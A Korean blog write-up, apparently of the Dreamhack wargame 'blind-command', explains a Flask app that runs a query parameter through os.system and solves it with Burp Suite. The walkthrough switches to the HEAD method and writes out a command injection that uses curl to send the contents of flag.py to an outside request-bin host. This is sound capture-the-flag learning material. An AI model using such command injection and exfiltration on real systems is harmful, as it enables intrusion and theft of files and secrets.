본문 바로가기

드림핵

[드림핵 워게임] blind-command

위의 문제를 다음과 같은 과정으로 풀어보았다.

 

 

1. 페이지에 방문해본다.

?cmd=[cmd] 라는 텍스트만 보인다. cmd에 어떤 값을 넣어 공격을 시도해볼 수 있지 않을까 라는 생각을 해본다.

 

 

 

2. 코드를 살펴본다.

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

request 아규먼트에 cmd가 없으면 ?cmd=[cmd] 라는 텍스트를 return 한다. 1에서 페이지에 방문했을 때 ?cmd=[cmd] 텍스트만 뜬 이유가 request 아규먼트에 cmd에 해당하는 값이 없기 때문임을 알 수 있다.

 

cmd가 있는 경우에는 request 메소드가 GET이 아닐 때 cmd 파라미터로 전달된 값을 시스템 명령어로 실행하는 것을 확인할 수 있다. 이를 통해 메소드를 GET이 아닌 다른 것으로 바꾸고, cmd 파라미터로 시스템 명령어를 전달하여 request를 보내는 방법을 시도할 수 있겠다는 생각이 든다. 

 

 

 

3. 버프스위트를 준비시킨다.

버프스위트를 켜고 처음 뜨는 창에서 Next를 클릭한다.

 

 

그 다음에 뜨는 창에서 Start Burp를 클릭한다.

 

 

상단 메뉴바에서 Proxy 클릭 > 그 아래 메뉴바에서 Options 클릭

Proxy Listeners에서 Interface가 127.0.0.1:8080 으로 되어있는 것을 확인한다.

 

 

스크롤을 내리면 Intercept Client RequestsIntercept Server Responses을 볼 수 있다.

초기 상태에는 Enabled 체크박스가 하나씩만 체크되어있는데, 나머지 체크박스도 모두 클릭하여 활성화해준다.

 

 

이제 메뉴바에서 Intercept로 이동한다.

Intercept is off 를 클릭해서 Intercept is on으로 바꿔주고,

Open Browser를 클릭해서 버프스위트 내에서 브라우저를 열어준다.

 

 

열린 브라우저의 주소창에 드림핵 페이지의 주소를 복사, 붙여넣기 해준다.

 

 

다시 버프스위트로 돌아가서, 메뉴바의 HTTP history로 이동한다.

HTTP history 중에서 Method가 GET으로 요청된 것을 클릭하면 아래에 Request 정보와 Response 정보가 뜬다.

Request 정보에서 Method가 GET으로 되어있는 것을 확인한다.

 

 

 

4. GET 대신 사용할 수 있는 메소드가 무엇이 있는지 확인한다.

Request 창에서 우클릭하여 Send to Repeater를 클릭한다.

 

 

상단 메뉴바에서 Repeater로 이동하면 Request 정보를 수정할 수 있다.

첫 줄에서 GET /favicon.ico 를 지우고 그 자리에 OPTIONS /?cmd=ls 를 입력한다.

 

OPTIONS 라는 HTTP 메소드는 서버와 브라우저의 통신 옵션을 확인하는 데 쓰이는 메소드이다. 서버가 지원하는 Method, Header, Content Type가 무엇인지 확인할 수 있다.

 

Request 정보를 위와 같이 변경하고 Send 버튼을 클릭한다.

 

 

Response 를 확인해보면 허용하는 통신 옵션으로 OPTIONS, GET, HEAD 3가지가 있는 것을 볼 수 있다.

이 중에서 GET 대신 사용하여 공격에 활용할 수 있는 옵션은 HEAD이다.

 

 

 

5. HEAD 메소드를 사용하여 익스플로잇 코드를 작성한다.

버프스위트를 이용해 서버 내에서 시스템 명령어를 실행하고 결과를 외부로 출력하여 flag를 확인할 것이다. 결과를 출력할 외부 서버로 Dreamhack Tools 를 사용할 것이다.

 

 

https://tools.dreamhack.games/ 링크로 접속해서  Request Bin을 클릭한다. 밑줄 친 링크를 복사한다.

 

 

다시 Repeater로 돌아가서 Request의 첫 줄에서 OPTIONS /?cmd=ls 대신에

HEAD /?cmd=curl+(복사한 Dreamhack Tools 링크)+-d+"$(cat+flag.py)"

를 입력한다.

입력 문자열을 분석해보면,

HEAD : 메소드

cmd : 시스템 명령어로 실행할 파라미터 이름

curl : http 메시지를 쉘상에서 요청하여 결과를 확인하는 명령어. http를 이용하여 경로의 데이터를 가져옴.

+ : 띄어쓰기

https://xueshhm.request.dreamhack.games : DreamhackTools에서 복사한 링크 

-d : curl 명령어의 옵션. 데이터를 POST 요청으로 전송

"$(cat+flag.py)" : flag.py를 간단하게 출력하는 쉘 명령어

 

위와 같이 입력한 후 Send 버튼을 클릭한다.

 

 

 

6. flag를 획득한다.

Dreamhack Tools로 돌아가면 POST로 요청된 기록이 뜬 것을 확인할 수 있다. 이것을 클릭하면 내부 데이터가 출력되는데, 여기에서 flag를 확인할 수 있다.

'드림핵' 카테고리의 다른 글

[드림핵 워게임] php-1  (0) 2022.11.11
[드림핵 워게임] proxy-1  (0) 2022.11.11
[드림핵 워게임] web-ssrf  (0) 2022.11.06
[드림핵 워게임] file-download-1  (0) 2022.11.02
[드림핵 워게임] image-storage  (0) 2022.11.02